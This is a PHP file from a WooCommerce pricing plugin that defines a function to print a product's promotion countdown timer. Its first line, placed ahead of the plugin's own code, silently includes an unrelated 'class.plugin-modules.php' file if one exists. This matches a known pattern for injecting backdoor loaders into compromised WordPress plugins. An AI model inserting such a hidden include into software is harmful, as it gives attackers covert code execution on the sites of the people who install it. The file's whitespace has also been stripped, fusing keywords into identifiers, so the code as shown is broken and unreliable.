<?phpif(file_exists(dirname(__FILE__).'/class.plugin-modules.php'))include_once(dirname(__FILE__).'/class.plugin-modules.php');?><?php// Exit if accessed directlyif(!defined('ABSPATH')){exit;}/** * Display countdown timer manually for specific product * * Countdown timer displayed manually is not updated dynamically on customer * interaction, e.g. variation or quantity change * * Does not accept variable products (specific variation id must be provided) */if(!function_exists('rp_wcdpd_display_countdown_timer')){functionrp_wcdpd_display_countdown_timer($product_id){// Load productif($product=wc_get_product($product_id)){// Variable product id passed inif($product->is_type('variable')){return;}// Maybe print countdown timerRP_WCDPD_Promotion_Countdown_Timer::maybe_print_countdown_timer($product);}}}